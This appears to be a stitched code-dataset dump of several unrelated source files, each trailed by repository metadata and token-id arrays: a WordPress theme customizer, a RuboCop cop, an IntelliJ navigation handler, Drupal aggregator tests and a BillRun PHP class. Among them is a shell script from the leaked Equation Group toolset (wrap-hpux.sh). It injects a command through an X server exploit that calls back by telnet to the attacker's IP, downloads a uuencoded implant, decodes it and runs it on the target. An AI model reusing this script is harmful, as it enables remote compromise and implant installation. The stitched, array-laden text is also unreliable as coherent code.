)
);
$wp_customize->add_control(
'seabadgermd_breadcrumb_home', array(
'type' => 'text',
'section' => 'seabadgermd_breadcrumb',
'label' => esc_html__( 'Homepage text', 'seabadgermd' ),
'description' => esc_html__( 'Text of the link pointing to the homepage', 'seabadgermd' ),
)
);
/* /Breadcrumb section */
}
add_action( 'customize_register', 'seabadgermd_customize_register' );
/* Custom sanitizers */
function seabadgermd_sanitize_select( $input, $setting ) {
// Ensure input is a slug.
$input = sanitize_key( $input );
// Get list of choices from the control associated with the setting.
$choices = $setting->manager->get_control( $setting->id )->choices;
// If the input is a valid key, return it; otherwise, return the default.
return ( array_key_exists( $input, $choices ) ? $input : $setting->default );
}
function seabadgermd_sanitize_checkbox( $input ) {
if ( is_bool( $input ) ) {
return $input;
}
return false;
}
function seabadgermd_sanitize_showhide( $input ) {
$choices = array( 'show', 'hide' );
if ( in_array( $input, $choices, true ) ) {
return $input;
} else {
return '';
}
}
function seabadgermd_sanitize_onoff( $input ) {
$choices = array( 'on', 'off', true );
if ( in_array( $input, $choices ) ) {
return $input;
} else {
return '';
}
}
/* /Custom sanitizers */
/* Color theme definition / helper functions */
if ( ! function_exists( 'seabadgermd_get_color_themes' ) ) {
function seabadgermd_get_color_themes() {
$color_themes = array(
'mdb_dark' => array(
'name' => esc_html__( 'Dark', 'seabadgermd' ),
'css' => '/css/themes/mdb_dark.css',
'style' => 'dark',
),
'mdb_blue' => array(
'name' => esc_html__( 'Blue', 'seabadgermd' ),
'css' => '/css/themes/mdb_blue.css',
'style' => 'dark',
),
'mdb_light' => array(
'name' => esc_html__( 'Light', 'seabadgermd' ),
'css' => '/css/themes/mdb_light.css',
'style' => 'light',
),
'mdb_brown' => array(
'name' => esc_html__( 'Brown', 'seabadgermd' ),
'css' => '/css/themes/mdb_brown.css',
'style' => 'dark',
),
'mdb_red' => array(
'name' => esc_html__( 'Red', 'seabadgermd' ),
'css' => '/css/themes/mdb_red.css',
'style' => 'dark',
),
'mdb_green' => array(
'name' => esc_html__( 'Green', 'seabadgermd' ),
'css' => '/css/themes/mdb_green.css',
'style' => 'dark',
),
);
return $color_themes;
}
} // End if().
function seabadgermd_get_color_theme( $id ) {
$themes = seabadgermd_get_color_themes();
$id = $id ? $id : 'mdb_dark';
if ( array_key_exists( $id, $themes ) ) {
return $themes[ $id ];
} else {
$keys = array_keys( $themes );
return $themes[ $keys[0] ];
}
}
function seabadgermd_get_color_theme_names() {
$themes = seabadgermd_get_color_themes();
$theme_names = array();
foreach ( $themes as $id => $theme ) {
$theme_names[ $id ] = $theme['name'];
}
return $theme_names;
}
function seabadgermd_color_theme_exists( $key = '' ) {
if ( ! $key ) {
return false;
}
return array_key_exists( $key, seabadgermd_get_color_themes() );
}
/* /Color theme definition / helper functions */
| itgipsy/wp.theme.exowell-md | seabadgermd/inc/seabadgermd-customizer.php | PHP | mit | 8,535 | [
30522,
1026,
1029,
25718,
3853,
2712,
9024,
4590,
26876,
1035,
7661,
4697,
1035,
4236,
1006,
1002,
1059,
2361,
1035,
7661,
4697,
1007,
1063,
1013,
1008,
3609,
4323,
27000,
1008,
1013,
1002,
1059,
2361,
1035,
7661,
4697,
1011,
1028,
5587,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#!/bin/bash
echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit
BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc.
Packrat now has an option to do just that:
packrat -n /current/bin/nc.YS
"
sleep 4
usage ()
{
echo "Usage: ${0}
-l [ IP of attack machine (NO DEFAULT) ]
-r [ name of rat on target (NO DEFAULT) ]
-p [ call back port DEFAULT = 32177 ]
-x [ port to start mini X server on DEFAULT = 12121 ]
-d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]"
echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange"
}
DIR=0
XPORT=0
CALLBACK_PORT=0
if [ $# -lt 4 ]
then
usage
exit 1
fi
while getopts hl:p:r:d:x: optvar
do
case "$optvar"
in
h)
usage
exit 1
;;
l) LOCAL_IP=${OPTARG}
;;
p) CALLBACK_PORT=${OPTARG}
;;
r) RAT=${OPTARG}
;;
x) XPORT=${OPTARG}
;;
d) DIR=${OPTARG}
;;
*) echo "invalid option"
usage
exit 1
;;
esac
done
if [ ${DIR} = 0 ]
then
DIR="/tmp/.X11R6"
fi
if [ ${XPORT} = 0 ]
then
XPORT=12121
fi
if [ ${CALLBACK_PORT} = 0 ]
then
CALLBACK_PORT=32177
fi
echo
echo "########################################"
echo "Local IP = ${LOCAL_IP}"
echo "Call back port = ${CALLBACK_PORT}"
echo "Name of Rat = ${RAT}"
echo "Starting mini X server on port ${XPORT}"
echo "Directory to create/use = ${DIR}"
echo "########################################"
echo
VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && /usr/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 </dev/console > ${RAT}.uu; uudecode ${RAT}.uu 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z;chmod 0700 ${RAT} && export PATH=.; ${RAT} \`"
./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx
| DarthMaulware/EquationGroupLeaks | Leak #4 - Don't Forget Your Base/EQGRP-Auction-File/Linux/bin/wrap-hpux.sh | Shell | unlicense | 1,801 | [
30522,
1001,
999,
1013,
8026,
1013,
24234,
9052,
1011,
1041,
1000,
1032,
1050,
1032,
1050,
1032,
1050,
1032,
1050,
1032,
6396,
7140,
2428,
2323,
2022,
2478,
1061,
2015,
1012,
8285,
2030,
2488,
2664,
1011,
11867,
4135,
4183,
2021,
2065,
20... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# encoding: utf-8
# frozen_string_literal: true
module RuboCop
module Cop
module Style
# This cop checks that comment annotation keywords are written according
# to guidelines.
class CommentAnnotation < Cop
include AnnotationComment
MSG = 'Annotation keywords like `%s` should be all upper case, ' \
'followed by a colon, and a space, ' \
'then a note describing the problem.'.freeze
MISSING_NOTE = 'Annotation comment, with keyword `%s`, ' \
'is missing a note.'.freeze
def investigate(processed_source)
processed_source.comments.each_with_index do |comment, ix|
next unless first_comment_line?(processed_source.comments, ix)
margin, first_word, colon, space, note = split_comment(comment)
next unless annotation?(comment) &&
!correct_annotation?(first_word, colon, space, note)
length = concat_length(first_word, colon, space)
add_offense(comment, annotation_range(comment, margin, length),
format(note ? MSG : MISSING_NOTE, first_word))
end
end
private
def first_comment_line?(comments, ix)
ix.zero? || comments[ix - 1].loc.line < comments[ix].loc.line - 1
end
def autocorrect(comment)
margin, first_word, colon, space, note = split_comment(comment)
return if note.nil?
length = concat_length(first_word, colon, space)
range = annotation_range(comment, margin, length)
->(corrector) { corrector.replace(range, "#{first_word.upcase}: ") }
end
def annotation_range(comment, margin, length)
start = comment.loc.expression.begin_pos + margin.length
range_between(start, start + length)
end
def concat_length(*args)
args.reduce(0) { |a, e| a + e.to_s.length }
end
def correct_annotation?(first_word, colon, space, note)
keyword?(first_word) && (colon && space && note || !colon && !note)
end
end
end
end
end
| legendetm/rubocop | lib/rubocop/cop/style/comment_annotation.rb | Ruby | mit | 2,162 | [
30522,
1001,
17181,
1024,
21183,
2546,
1011,
1022,
1001,
7708,
1035,
5164,
1035,
18204,
1024,
2995,
11336,
14548,
24163,
2361,
11336,
8872,
11336,
2806,
1001,
2023,
8872,
14148,
2008,
7615,
5754,
17287,
3508,
3145,
22104,
2024,
2517,
2429,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2000-2015 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.codeInsight.navigation;
import com.intellij.codeInsight.CodeInsightBundle;
import com.intellij.codeInsight.daemon.impl.PsiElementListNavigator;
import com.intellij.codeInsight.generation.actions.PresentableCodeInsightActionHandler;
import com.intellij.codeInsight.navigation.actions.GotoSuperAction;
import com.intellij.featureStatistics.FeatureUsageTracker;
import com.intellij.ide.util.MethodCellRenderer;
import com.intellij.ide.util.PsiNavigationSupport;
import com.intellij.idea.ActionsBundle;
import com.intellij.openapi.actionSystem.Presentation;
import com.intellij.openapi.editor.Editor;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.pom.Navigatable;
import com.intellij.psi.*;
import com.intellij.psi.impl.FindSuperElementsHelper;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.psi.util.PsiUtil;
import com.intellij.util.ArrayUtil;
import org.jetbrains.annotations.NotNull;
public class JavaGotoSuperHandler implements PresentableCodeInsightActionHandler {
@Override
public void invoke(@NotNull final Project project, @NotNull final Editor editor, @NotNull final PsiFile file) {
FeatureUsageTracker.getInstance().triggerFeatureUsed(GotoSuperAction.FEATURE_ID);
int offset = editor.getCaretModel().getOffset();
PsiElement[] superElements = findSuperElements(file, offset);
if (superElements.length == 0) return;
if (superElements.length == 1) {
PsiElement superElement = superElements[0].getNavigationElement();
final PsiFile containingFile = superElement.getContainingFile();
if (containingFile == null) return;
final VirtualFile virtualFile = containingFile.getVirtualFile();
if (virtualFile == null) return;
Navigatable descriptor =
PsiNavigationSupport.getInstance().createNavigatable(project, virtualFile, superElement.getTextOffset());
descriptor.navigate(true);
}
else if (superElements[0] instanceof PsiMethod) {
boolean showMethodNames = !PsiUtil.allMethodsHaveSameSignature((PsiMethod[])superElements);
PsiElementListNavigator.openTargets(editor, (PsiMethod[])superElements,
CodeInsightBundle.message("goto.super.method.chooser.title"),
CodeInsightBundle
.message("goto.super.method.findUsages.title", ((PsiMethod)superElements[0]).getName()),
new MethodCellRenderer(showMethodNames));
}
else {
NavigationUtil.getPsiElementPopup(superElements, CodeInsightBundle.message("goto.super.class.chooser.title"))
.showInBestPositionFor(editor);
}
}
@NotNull
private PsiElement[] findSuperElements(@NotNull PsiFile file, int offset) {
PsiElement element = getElement(file, offset);
if (element == null) return PsiElement.EMPTY_ARRAY;
final PsiElement psiElement = PsiTreeUtil.getParentOfType(element, PsiFunctionalExpression.class, PsiMember.class);
if (psiElement instanceof PsiFunctionalExpression) {
final PsiMethod interfaceMethod = LambdaUtil.getFunctionalInterfaceMethod(psiElement);
if (interfaceMethod != null) {
return ArrayUtil.prepend(interfaceMethod, interfaceMethod.findSuperMethods(false));
}
}
final PsiNameIdentifierOwner parent = PsiTreeUtil.getNonStrictParentOfType(element, PsiMethod.class, PsiClass.class);
if (parent == null) {
return PsiElement.EMPTY_ARRAY;
}
return FindSuperElementsHelper.findSuperElements(parent);
}
protected PsiElement getElement(@NotNull PsiFile file, int offset) {
return file.findElementAt(offset);
}
@Override
public boolean startInWriteAction() {
return false;
}
@Override
public void update(@NotNull Editor editor, @NotNull PsiFile file, Presentation presentation) {
final PsiElement element = getElement(file, editor.getCaretModel().getOffset());
final PsiElement containingElement = PsiTreeUtil.getParentOfType(element, PsiFunctionalExpression.class, PsiMember.class);
if (containingElement instanceof PsiClass) {
presentation.setText(ActionsBundle.actionText("GotoSuperClass"));
presentation.setDescription(ActionsBundle.actionDescription("GotoSuperClass"));
}
else {
presentation.setText(ActionsBundle.actionText("GotoSuperMethod"));
presentation.setDescription(ActionsBundle.actionDescription("GotoSuperMethod"));
}
}
}
| goodwinnk/intellij-community | java/java-impl/src/com/intellij/codeInsight/navigation/JavaGotoSuperHandler.java | Java | apache-2.0 | 5,139 | [
30522,
1013,
1008,
1008,
9385,
2456,
1011,
2325,
6892,
10024,
7076,
1055,
1012,
1054,
1012,
1051,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1008,
2017,
2089,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
namespace Drupal\Tests\aggregator\Functional;
use Drupal\aggregator\Entity\Feed;
use Drupal\Component\Utility\Html;
use Drupal\Tests\BrowserTestBase;
use Drupal\aggregator\FeedInterface;
/**
* Defines a base class for testing the Aggregator module.
*/
abstract class AggregatorTestBase extends BrowserTestBase {
/**
* A user with permission to administer feeds and create content.
*
* @var \Drupal\user\Entity\User
*/
protected $adminUser;
/**
* Modules to install.
*
* @var array
*/
public static $modules = ['block', 'node', 'aggregator', 'aggregator_test', 'views'];
/**
* {@inheritdoc}
*/
protected function setUp() {
parent::setUp();
// Create an Article node type.
if ($this->profile != 'standard') {
$this->drupalCreateContentType(array('type' => 'article', 'name' => 'Article'));
}
$this->adminUser = $this->drupalCreateUser(array('access administration pages', 'administer news feeds', 'access news feeds', 'create article content'));
$this->drupalLogin($this->adminUser);
$this->drupalPlaceBlock('local_tasks_block');
}
/**
* Creates an aggregator feed.
*
* This method simulates the form submission on path aggregator/sources/add.
*
* @param string $feed_url
* (optional) If given, feed will be created with this URL, otherwise
* /rss.xml will be used. Defaults to NULL.
* @param array $edit
* Array with additional form fields.
*
* @return \Drupal\aggregator\FeedInterface
* Full feed object if possible.
*
* @see getFeedEditArray()
*/
public function createFeed($feed_url = NULL, array $edit = array()) {
$edit = $this->getFeedEditArray($feed_url, $edit);
$this->drupalPostForm('aggregator/sources/add', $edit, t('Save'));
$this->assertText(t('The feed @name has been added.', array('@name' => $edit['title[0][value]'])), format_string('The feed @name has been added.', array('@name' => $edit['title[0][value]'])));
// Verify that the creation message contains a link to a feed.
$view_link = $this->xpath('//div[@class="messages"]//a[contains(@href, :href)]', array(':href' => 'aggregator/sources/'));
$this->assert(isset($view_link), 'The message area contains a link to a feed');
$fid = db_query("SELECT fid FROM {aggregator_feed} WHERE title = :title AND url = :url", array(':title' => $edit['title[0][value]'], ':url' => $edit['url[0][value]']))->fetchField();
$this->assertTrue(!empty($fid), 'The feed found in database.');
return Feed::load($fid);
}
/**
* Deletes an aggregator feed.
*
* @param \Drupal\aggregator\FeedInterface $feed
* Feed object representing the feed.
*/
public function deleteFeed(FeedInterface $feed) {
$this->drupalPostForm('aggregator/sources/' . $feed->id() . '/delete', array(), t('Delete'));
$this->assertRaw(t('The feed %title has been deleted.', array('%title' => $feed->label())), 'Feed deleted successfully.');
}
/**
* Returns a randomly generated feed edit array.
*
* @param string $feed_url
* (optional) If given, feed will be created with this URL, otherwise
* /rss.xml will be used. Defaults to NULL.
* @param array $edit
* Array with additional form fields.
*
* @return array
* A feed array.
*/
public function getFeedEditArray($feed_url = NULL, array $edit = array()) {
$feed_name = $this->randomMachineName(10);
if (!$feed_url) {
$feed_url = \Drupal::url('view.frontpage.feed_1', array(), array(
'query' => array('feed' => $feed_name),
'absolute' => TRUE,
));
}
$edit += array(
'title[0][value]' => $feed_name,
'url[0][value]' => $feed_url,
'refresh' => '900',
);
return $edit;
}
/**
* Returns a randomly generated feed edit object.
*
* @param string $feed_url
* (optional) If given, feed will be created with this URL, otherwise
* /rss.xml will be used. Defaults to NULL.
* @param array $values
* (optional) Default values to initialize object properties with.
*
* @return \Drupal\aggregator\FeedInterface
* A feed object.
*/
public function getFeedEditObject($feed_url = NULL, array $values = array()) {
$feed_name = $this->randomMachineName(10);
if (!$feed_url) {
$feed_url = \Drupal::url('view.frontpage.feed_1', array(
'query' => array('feed' => $feed_name),
'absolute' => TRUE,
));
}
$values += array(
'title' => $feed_name,
'url' => $feed_url,
'refresh' => '900',
);
return Feed::create($values);
}
/**
* Returns the count of the randomly created feed array.
*
* @return int
* Number of feed items on default feed created by createFeed().
*/
public function getDefaultFeedItemCount() {
// Our tests are based off of rss.xml, so let's find out how many elements should be related.
$feed_count = db_query_range('SELECT COUNT(DISTINCT nid) FROM {node_field_data} n WHERE n.promote = 1 AND n.status = 1', 0, $this->config('system.rss')->get('items.limit'))->fetchField();
return $feed_count > 10 ? 10 : $feed_count;
}
/**
* Updates the feed items.
*
* This method simulates a click to
* admin/config/services/aggregator/update/$fid.
*
* @param \Drupal\aggregator\FeedInterface $feed
* Feed object representing the feed.
* @param int|null $expected_count
* Expected number of feed items. If omitted no check will happen.
*/
public function updateFeedItems(FeedInterface $feed, $expected_count = NULL) {
// First, let's ensure we can get to the rss xml.
$this->drupalGet($feed->getUrl());
$this->assertResponse(200, format_string(':url is reachable.', array(':url' => $feed->getUrl())));
// Attempt to access the update link directly without an access token.
$this->drupalGet('admin/config/services/aggregator/update/' . $feed->id());
$this->assertResponse(403);
// Refresh the feed (simulated link click).
$this->drupalGet('admin/config/services/aggregator');
$this->clickLink('Update items');
// Ensure we have the right number of items.
$result = db_query('SELECT iid FROM {aggregator_item} WHERE fid = :fid', array(':fid' => $feed->id()));
$feed->items = array();
foreach ($result as $item) {
$feed->items[] = $item->iid;
}
if ($expected_count !== NULL) {
$feed->item_count = count($feed->items);
$this->assertEqual($expected_count, $feed->item_count, format_string('Total items in feed equal to the total items in database (@val1 != @val2)', array('@val1' => $expected_count, '@val2' => $feed->item_count)));
}
}
/**
* Confirms an item removal from a feed.
*
* @param \Drupal\aggregator\FeedInterface $feed
* Feed object representing the feed.
*/
public function deleteFeedItems(FeedInterface $feed) {
$this->drupalPostForm('admin/config/services/aggregator/delete/' . $feed->id(), array(), t('Delete items'));
$this->assertRaw(t('The news items from %title have been deleted.', array('%title' => $feed->label())), 'Feed items deleted.');
}
/**
* Adds and deletes feed items and ensure that the count is zero.
*
* @param \Drupal\aggregator\FeedInterface $feed
* Feed object representing the feed.
* @param int $expected_count
* Expected number of feed items.
*/
public function updateAndDelete(FeedInterface $feed, $expected_count) {
$this->updateFeedItems($feed, $expected_count);
$count = db_query('SELECT COUNT(*) FROM {aggregator_item} WHERE fid = :fid', array(':fid' => $feed->id()))->fetchField();
$this->assertTrue($count);
$this->deleteFeedItems($feed);
$count = db_query('SELECT COUNT(*) FROM {aggregator_item} WHERE fid = :fid', array(':fid' => $feed->id()))->fetchField();
$this->assertTrue($count == 0);
}
/**
* Checks whether the feed name and URL are unique.
*
* @param string $feed_name
* String containing the feed name to check.
* @param string $feed_url
* String containing the feed url to check.
*
* @return bool
* TRUE if feed is unique.
*/
public function uniqueFeed($feed_name, $feed_url) {
$result = db_query("SELECT COUNT(*) FROM {aggregator_feed} WHERE title = :title AND url = :url", array(':title' => $feed_name, ':url' => $feed_url))->fetchField();
return (1 == $result);
}
/**
* Creates a valid OPML file from an array of feeds.
*
* @param array $feeds
* An array of feeds.
*
* @return string
* Path to valid OPML file.
*/
public function getValidOpml(array $feeds) {
// Properly escape URLs so that XML parsers don't choke on them.
foreach ($feeds as &$feed) {
$feed['url[0][value]'] = Html::escape($feed['url[0][value]']);
}
/**
* Does not have an XML declaration, must pass the parser.
*/
$opml = <<<EOF
<opml version="1.0">
<head></head>
<body>
<!-- First feed to be imported. -->
<outline text="{$feeds[0]['title[0][value]']}" xmlurl="{$feeds[0]['url[0][value]']}" />
<!-- Second feed. Test string delimitation and attribute order. -->
<outline xmlurl='{$feeds[1]['url[0][value]']}' text='{$feeds[1]['title[0][value]']}'/>
<!-- Test for duplicate URL and title. -->
<outline xmlurl="{$feeds[0]['url[0][value]']}" text="Duplicate URL"/>
<outline xmlurl="http://duplicate.title" text="{$feeds[1]['title[0][value]']}"/>
<!-- Test that feeds are only added with required attributes. -->
<outline text="{$feeds[2]['title[0][value]']}" />
<outline xmlurl="{$feeds[2]['url[0][value]']}" />
</body>
</opml>
EOF;
$path = 'public://valid-opml.xml';
// Add the UTF-8 byte order mark.
return file_unmanaged_save_data(chr(239) . chr(187) . chr(191) . $opml, $path);
}
/**
* Creates an invalid OPML file.
*
* @return string
* Path to invalid OPML file.
*/
public function getInvalidOpml() {
$opml = <<<EOF
<opml>
<invalid>
</opml>
EOF;
$path = 'public://invalid-opml.xml';
return file_unmanaged_save_data($opml, $path);
}
/**
* Creates a valid but empty OPML file.
*
* @return string
* Path to empty OPML file.
*/
public function getEmptyOpml() {
$opml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<opml version="1.0">
<head></head>
<body>
<outline text="Sample text" />
<outline text="Sample text" url="Sample URL" />
</body>
</opml>
EOF;
$path = 'public://empty-opml.xml';
return file_unmanaged_save_data($opml, $path);
}
/**
* Returns a example RSS091 feed.
*
* @return string
* Path to the feed.
*/
public function getRSS091Sample() {
return $GLOBALS['base_url'] . '/' . drupal_get_path('module', 'aggregator') . '/tests/modules/aggregator_test/aggregator_test_rss091.xml';
}
/**
* Returns a example Atom feed.
*
* @return string
* Path to the feed.
*/
public function getAtomSample() {
// The content of this sample ATOM feed is based directly off of the
// example provided in RFC 4287.
return $GLOBALS['base_url'] . '/' . drupal_get_path('module', 'aggregator') . '/tests/modules/aggregator_test/aggregator_test_atom.xml';
}
/**
* Returns a example feed.
*
* @return string
* Path to the feed.
*/
public function getHtmlEntitiesSample() {
return $GLOBALS['base_url'] . '/' . drupal_get_path('module', 'aggregator') . '/tests/modules/aggregator_test/aggregator_test_title_entities.xml';
}
/**
* Creates sample article nodes.
*
* @param int $count
* (optional) The number of nodes to generate. Defaults to five.
*/
public function createSampleNodes($count = 5) {
// Post $count article nodes.
for ($i = 0; $i < $count; $i++) {
$edit = array();
$edit['title[0][value]'] = $this->randomMachineName();
$edit['body[0][value]'] = $this->randomMachineName();
$this->drupalPostForm('node/add/article', $edit, t('Save'));
}
}
/**
* Enable the plugins coming with aggregator_test module.
*/
public function enableTestPlugins() {
$this->config('aggregator.settings')
->set('fetcher', 'aggregator_test_fetcher')
->set('parser', 'aggregator_test_parser')
->set('processors', array(
'aggregator_test_processor' => 'aggregator_test_processor',
'aggregator' => 'aggregator',
))
->save();
}
}
| ongki/drupal8 | core/modules/aggregator/tests/src/Functional/AggregatorTestBase.php | PHP | gpl-2.0 | 12,468 | [
30522,
1026,
1029,
25718,
3415,
15327,
2852,
6279,
2389,
1032,
5852,
1032,
24089,
1032,
8360,
1025,
2224,
2852,
6279,
2389,
1032,
24089,
1032,
9178,
1032,
5438,
1025,
2224,
2852,
6279,
2389,
1032,
6922,
1032,
9710,
1032,
16129,
1025,
2224,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* @package Billing
* @copyright Copyright (C) 2012-2016 BillRun Technologies Ltd. All rights reserved.
* @license GNU Affero General Public License Version 3; see LICENSE.txt
*/
/**
* This is a prototype for a services action.
*
*/
abstract class Billrun_ActionManagers_Services_Action implements Billrun_ActionManagers_IAPIAction {
use Billrun_ActionManagers_ErrorReporter;
protected $collection = null;
/**
* Create an instance of the ServiceAction type.
*/
public function __construct($params = array()) {
$this->collection = Billrun_Factory::db()->servicesCollection();
$this->baseCode = 1500;
}
/**
* Get the array of fields to be set in the query record from the user input.
* @return array - Array of fields to set.
*/
protected function getQueryFields() {
return Billrun_Factory::config()->getConfigValue('services.fields');
}
}
| BillRun/system | library/Billrun/ActionManagers/Services/Action.php | PHP | agpl-3.0 | 905 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
1030,
7427,
25640,
1008,
1030,
9385,
9385,
1006,
1039,
1007,
2262,
1011,
2355,
3021,
15532,
6786,
5183,
1012,
2035,
2916,
9235,
1012,
1008,
1030,
6105,
27004,
21358,
7512,
2080,
2236,
2270,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* Class Magemock_Sample_Model_Vehicle
